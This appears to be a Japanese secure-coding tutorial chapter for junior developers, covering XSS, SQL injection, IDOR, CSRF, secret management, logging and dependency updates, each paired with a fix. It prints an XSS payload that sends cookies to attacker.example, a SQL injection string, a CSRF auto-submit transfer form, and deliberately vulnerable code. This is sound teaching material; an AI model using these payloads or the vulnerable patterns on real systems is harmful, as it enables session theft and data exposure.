セキュリティ

セキュリティは「詳しい人が後でチェックしてくれるもの」ではありません。 書いた瞬間に混入するものです。

この章で扱うのは、専門家向けの高度な攻撃手法ではなく、 新人が実際に作り込んでしまう脆弱性です。どれも1行の書き方の違いで生まれます。

原則: 入力を信じない

セキュリティの話は突き詰めると1行です。

外から来たデータは、すべて攻撃だと思って扱う。

「外から」には次が含まれます。

• ユーザーが入力したフォームの値
• URL のパラメータ
• リクエストヘッダ、Cookie
• 他のサービスから返ってきたデータ
• データベースに入っている値（誰かが入れたもの）

最後の2つを見落としがちです。「DB から取ったから安全」ではありません。 入れた時点で汚染されているかもしれません。

XSS — 他人のブラウザで JavaScript を動かされる

どう起きるか

ユーザーが入力した文字列を、そのまま HTML として画面に出すと起きます。

// 危険
element.innerHTML = `<p>${userInput}</p>`;

ここで userInput がこういう値だったらどうなるでしょうか。

<img src=x onerror="fetch('https://attacker.example/?c='+document.cookie)">

画像の読み込みに失敗し、onerror が実行され、 そのページを見た人の Cookie が攻撃者に送られます。 掲示板や商品レビューに仕込めば、見た人全員が被害に遭います。

どう防ぐか

テキストとして出すなら、テキストとして出す API を使うだけです。

// 安全: HTML として解釈されない
element.textContent = userInput;

React や Vue のようなフレームワークは、標準でエスケープしてくれます。

<p>{userInput}</p>                                  {/* 安全 */}
<p dangerouslySetInnerHTML={{ __html: userInput }} /> {/* 危険 */}

入力時   → バリデーション（受け付けるか決める）
出力時   → エスケープ（表示先に応じて変換する）

SQL インジェクション — データベースを乗っ取られる

どう起きるか

SQL を文字列結合で組み立てると起きます。

// 危険
const sql = `SELECT * FROM users WHERE email = '${email}'`;

email にこう入力されたら:

' OR '1'='1

組み上がる SQL はこうなります。

SELECT * FROM users WHERE email = '' OR '1'='1'

全ユーザーが返ります。 さらに悪意ある入力なら、テーブルの削除もできます。

どう防ぐか

パラメータ化クエリ（プレースホルダ）を使います。 これだけです。

// 安全
const sql = 'SELECT * FROM users WHERE email = ?';
db.query(sql, [email]);

パラメータ化すると、値は「データ」として扱われ、SQL の一部として解釈されません。 何を入れられても構文にはなりません。

// ORM でも、ここで結合すれば同じ穴が開く
db.raw(`SELECT * FROM items WHERE name LIKE '%${keyword}%'`)

認証と認可 — 混同すると他人のデータが見える

新人が作り込みやすいのは認可の漏れです。

典型的な事故

// ログインは必須にした（認証OK）
app.get('/api/orders/:id', requireLogin, async (req, res) => {
  const order = await db.getOrder(req.params.id);
  res.json(order);        // ← ここが問題
});

このコードはログインさえしていれば、誰の注文でも見られます。 /api/orders/1 /api/orders/2 と順に叩けば、全ユーザーの注文が読めます。

これは IDOR（安全でない直接オブジェクト参照）と呼ばれ、 実際の情報漏洩事故で最も多い原因の1つです。

正しくは

app.get('/api/orders/:id', requireLogin, async (req, res) => {
  const order = await db.getOrder(req.params.id);
  // 「これは本当にこの人のものか」を必ず確認する
  if (order.userId !== req.user.id) {
    return res.status(404).end();
  }
  res.json(order);
});

CSRF — 意図しない操作をさせられる

ログイン中のユーザーに、別のサイトからリクエストを送らせる攻撃です。

<!-- 攻撃者のサイトに仕込まれたフォーム -->
<form action="https://bank.example/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="100000">
</form>
<script>document.forms[0].submit()</script>

Cookie は自動で送られるので、被害者がログイン中なら送金が成立してしまいます。

防ぎ方

最近のブラウザは SameSite=Lax がデフォルトなので、以前より起きにくくなっています。 それでも明示的に設定するのが確実です。

秘密情報の扱い

コードに書かない

// 絶対にやってはいけない
const API_KEY = 'sk_live_51H8xY2...';

環境変数から読みます。

const apiKey = process.env.STRIPE_API_KEY;

.env ファイルは .gitignore に入れる、.env.example にはキー名だけ書く、が定石です。

コミットしてしまったら

ログに出さない

// 危険: ログに個人情報や認証情報が残る
logger.info('login request', { email, password, creditCard });

ログは長期間保存され、多くの人が見られる場所に集約されます。 パスワード・トークン・カード番号・個人情報はログに出さないのが原則です。

依存ライブラリ

現代のアプリは、コードの大部分が他人の書いたライブラリです。

npm audit          # 脆弱性のあるパッケージを検出
npm audit fix      # 可能なものを自動更新

多くのチームでは Dependabot などが自動で更新 PR を出します。 そういう PR が来たら放置せず、テストを通して取り込んでください。

HTTPS と証明書

DNS・TCP・TLSで扱った内容ですが、セキュリティの観点で再掲します。

• すべての通信を HTTPS にする。ログインページだけ、では不十分
• Cookie には Secure（HTTPS のみ）と HttpOnly（JS から読めない）を付ける
• 証明書の有効期限を監視する

新人が今日からできるチェックリスト

コードを書いたら、この5つを自分で確認してください。

• ユーザー入力を innerHTML に入れていないか
• SQL を文字列結合で作っていないか
• 取得したデータが「その人のもの」か確認しているか
• 秘密情報をコードやログに書いていないか
• エラーメッセージに内部情報（SQL、パス、スタックトレース）を出していないか

最後の項目は見落としがちです。 Error: connection to db-primary.internal:5432 failed のようなメッセージを ユーザーに返すと、内部構成のヒントを与えてしまいます。 ユーザーには一般的なメッセージ、詳細はサーバーログへが原則です。

実務の落とし穴まとめ

1. innerHTML にユーザー入力 — XSS の主犯
2. SQL の文字列結合 — ORM でも生 SQL なら同じ
3. 認可チェックの漏れ（IDOR） — 情報漏洩事故の最多原因
4. 秘密情報のコミット — 消しても履歴に残る。まず鍵を無効化
5. リクエスト全体をログ出力 — 個人情報が長期保存される
6. エラーの詳細をユーザーに返す — 内部構成が漏れる

まとめ

• 外から来たデータはすべて疑う。DB の中身も「誰かが入れたもの」
• XSS は textContent で防ぐ。innerHTML / dangerouslySetInnerHTML は避ける
• SQL インジェクションはパラメータ化クエリで防ぐ。自作エスケープはしない
• 認証と認可は別。「その人のデータか」を必ず確認する（IDOR）
• 秘密情報はコードにもログにも書かない。コミットしたらまず鍵を無効化して報告
• 依存ライブラリの更新 PR を放置しない

公式ドキュメント

迷ったら一次情報に戻ってください。

章末問題

次の章では、この中で最も実装を間違えやすい部分—— 認証と認可を、実際にどう作るかまで踏み込みます。